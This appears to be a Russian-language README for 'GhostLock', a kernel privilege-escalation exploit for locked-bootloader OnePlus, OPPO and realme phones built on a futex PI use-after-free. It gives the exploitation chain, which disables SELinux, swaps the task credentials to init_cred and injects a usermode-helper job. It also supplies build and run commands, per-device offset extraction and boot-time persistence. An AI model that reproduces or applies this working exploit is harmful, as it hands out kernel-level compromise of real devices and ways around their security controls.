GhostLock — джейлбрейк заблокированного загрузчика OnePlus

Эксплойт ядра для устройств OnePlus/OPPO/realme с заблокированным загрузчиком. Позволяет получить root и установить KernelSU без разблокировки загрузчика и без изменения boot-образа. Автоопределение версии ядра во время выполнения с таблицей смещений для нескольких устройств.

Уязвимость

CVE-2026-43499 — Use-After-Free в futex PI (Priority Inheritance — наследование приоритета)

Затрагивает ядра Linux 2.6.39 ~ 7.1. Исправлена в mainline 7.1 (коммит 3bfdc63936dd). Android GKI 6.12.x остаётся уязвимым.

Системный вызов pselect6 копирует данные fd_set в стек ядра. В сочетании с механизмом waiter в futex PI освобождённый кадр стека может быть переиспользован как структура rt_mutex_waiter. Перебалансировка rb-дерева при обходе цепочки PI затем записывает контролируемые значения в произвольные адреса ядра.

Поддерживаемые устройства

Проверено

Извлечённые смещения (ожидают проверки на устройстве)

Невозможно (несовместимая раскладка стека)

Наложение pselect на стек работает только тогда, когда освобождённый rt_mutex_waiter попадает в контролируемую пользователем область буфера stack_fds. Куда попадёт waiter, определяется результатом компиляции (PGO + LTO), а не версией ядра. Подробнее см. Раскладка стека.

Схема работы эксплойта

Два пути получения root, выбираемые автоматически на основе возможностей устройства:

Путь A: root через UMH (предпочтительный, устройства с C ashmem)

Требует off_ashmem_misc_fops != 0 (C ashmem со статическим miscdevice в BSS).

PI write (mode=4)  →  redirect miscdevice fops to fake fops (via W0 pi_tree)
                      configfs r/w established
                   →  pipe physrw (1-byte precise kernel r/w)
                   →  SELinux enforcing = 0 (single byte, no policycap corruption)
                   →  UMH: inject work_struct into system_unbound_wq
                      kernel executes /data/local/tmp/a/e --umh as UID 0
                   →  root script → ksud late-load → KSU installed

Преимущества перед путём B:

• Запись 1 байта в SELinux — не повреждает selinux_state.policycap (устраняет проблемы с сетью на OnePlus 13)
• Без perf_event_open — работает при ограничениях seccomp
• Без патчинга credentials — не изменяет активную task_struct

В настоящее время доступен на: OnePlus 13 (ядро 6.6, C ashmem). Недоступен на устройствах с Rust ashmem (6.12 GKI) — miscdevice выделяется в куче, адрес непредсказуем на этапе компиляции.

Путь B: прямая запись через PI (запасной, все устройства)

Используется, когда смещения UMH или C ashmem misc_fops недоступны.

Write 1 (mode=1)  →  SELinux enforcing = 0
                      (low byte of kernel ptr = 0x00, 8-byte write)

Write 2 (mode=2)  →  task->cred = init_cred
                      (uid=0, all capabilities)

Root shell         →  ksud late-load (KernelSU LKM)
                   →  su -c load_policy (fix SELinux policycap)
                   →  dynamic manager registration

Режим Bootstrap (автономный телефон)

App (seccomp)  →  Write 1 (no perf needed)
               →  mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
               →  adb shell: full exploit (perf works, no seccomp)
               →  root → KSU → network fix

Автозагрузка (через интеграцию с ReSukiSU)

BOOT_COMPLETED → BootCompletedReceiver
  ├─ su available → skip (soft reboot / already rooted)
  └─ no root → GhostlockService → setsid exploit --bootstrap

Осуществимость раскладки стека

При NFDS=320 функция ядра core_sys_select выделяет 256-байтовый буфер stack_fds:

stack_fds:  0    5    10   14 | 15   20   25   29
            ├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
            ◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►

Эксплойт записывает поддельные поля waiter (task, lock) во входные битовые карты fd_set. Чтобы это сработало, поля task и lock waiter должны попасть в контролируемую зону (слова 0–14).

Ace 6T ✅ (waiter at word 2):
  ░░████████████████░░│░░░░░░░░░░░░░░░░░░
    ▲waiter      t  l │
    task/lock controllable

RMX5070 ❌ (waiter at word 13):
  ░░░░░░░░░░░░░████│██████████████░░░░░░
                 ▲  │    t     l
               waiter  task/lock ZEROED

Правило осуществимости: слово waiter + 11 (смещение lock в rt_waiter_node) должно быть ≤ 14. Максимально допустимое слово waiter — 3.

Положение waiter определяется раскладкой стекового кадра компилятора (профили оптимизации PGO + LTO + BOLT), которая различается для каждой ветки SoC. Одна и та же версия ядра может иметь разную раскладку на разных SoC.

kernel_phys_load

Все записи в память ядра идут через псевдоним линейного отображения образа:

data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)

Загрузчик выбирает kernel_phys_load, поэтому оно различается для каждого SoC и отсутствует в boot.img и в DT. Поле для конкретного устройства в struct kernel_offsets; 0 = использовать значение по умолчанию из target.h.

Неверное значение даёт незаметный сбой — запись всё равно попадает в отображённую RAM, поэтому нет ни краха, ни эффекта. Не путайте это с проблемой PSELECT_SHIFT. Считайте значение на рутованном устройстве той же модели (Kernel code начинается с _stext; _text находится на 0x10000 ниже):

su -c 'grep -i "Kernel code" /proc/iomem'   # c7810000-... -> 0xc7800000

PSELECT_SHIFT

В разных ядрах waiter размещается в разных позициях внутри контролируемой зоны. Для настройки используйте PSELECT_SHIFT:

# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e

# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e

# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e

Значение waiter word из check_feasibility.py недостоверно: арифметика кадров у него верная, а вот смещения структур, которые он выводит из zero-store, — нет (для OnePlus 15 он выдаёт слово 3; по факту — слово 2). Неверный сдвиг стоит паники ядра за каждую попытку, поэтому измеряйте его на рутованном устройстве:

echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
#   PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2

Сборка

NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  -O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
  src/core/main.c src/core/util.c src/core/slide.c \
  src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
  src/core/miniadb.c src/core/umh_root.c \
  -o ghostlock -fPIE -pie -pthread

Предварительные требования

ksud (обязателен для установки KSU)

GhostLock предоставляет только root. Установка KernelSU зависит от ksud — бинарного файла со встроенными модулями kernelsu.ko для каждой версии KMI. Root-скрипт находит ksud на устройстве и вызывает ksud late-load --kmi android16-6.12.

Без ksud эксплойт даёт root (uid=0), но KSU не будет установлен и su не сохранится.

Настройка (выполняется один раз)

# Enable ADB TCP (use any port)
adb tcpip 5555

# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"

После первого успешного джейлбрейка persist.adb.tcp.port устанавливается через resetprop — последующие загрузки полностью автоматические.

Использование

/data/local/tmp/a/e                        # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap            # Phone standalone (app context)
/data/local/tmp/a/e --write1               # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e       # Override stack layout shift

Важно: запускайте в течение 30 секунд после загрузки для максимальной надёжности таймингов KernelSnitch.

Добавление новых устройств / версий ядра

Нужен только boot.img — ни root, ни доступ к устройству не требуются.

Извлечение смещений из boot.img

# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Global symbols (kallsyms)
python tools/extract_target.py    # 28 offsets, auto-validated

# 3. Struct fields (BTF)
python tools/extract_btf.py kernel  # 57 offsets, auto-validated

# 4. Add to offsets.h, rebuild

Покрытие: 103/103 смещений из boot.img

Адаптация к устройствам, отличным от OnePlus

Ядро эксплойта не зависит от конкретного устройства. Для адаптации может потребоваться:

• Другое значение VA_BITS (48 против 39) → обновите раскладку памяти в target.h
• Другое значение kernel_phys_load → считайте из /proc/iomem или используйте переменную окружения KPHYS=
• Другие параметры таймингов → настройте common.h
• Другая реализация ashmem (C против Rust) → C ashmem включает путь UMH; Rust ashmem откатывается к W1+W2
• Другое значение PSELECT_SHIFT → определите с помощью теста kprobe в QEMU
• Другие смещения структур (6.6 против 6.12) → используйте STRUCT_OFFSETS_6_6 или STRUCT_OFFSETS_6_12 в записи устройства

Требования для root через UMH

Путь root через UMH (call_usermodehelper) требует:

• off_system_unbound_wq и off_call_usermodehelper_exec_work из kallsyms
• off_ashmem_misc_fops = ashmem_misc + 0x10 (только C ashmem, miscdevice.fops в BSS)
• Rust ashmem (GKI 6.12) выделяет miscdevice в куче → адрес непредсказуем → UMH недоступен

Файлы

Лицензия

Только для авторизованных исследований в области безопасности и образовательных целей.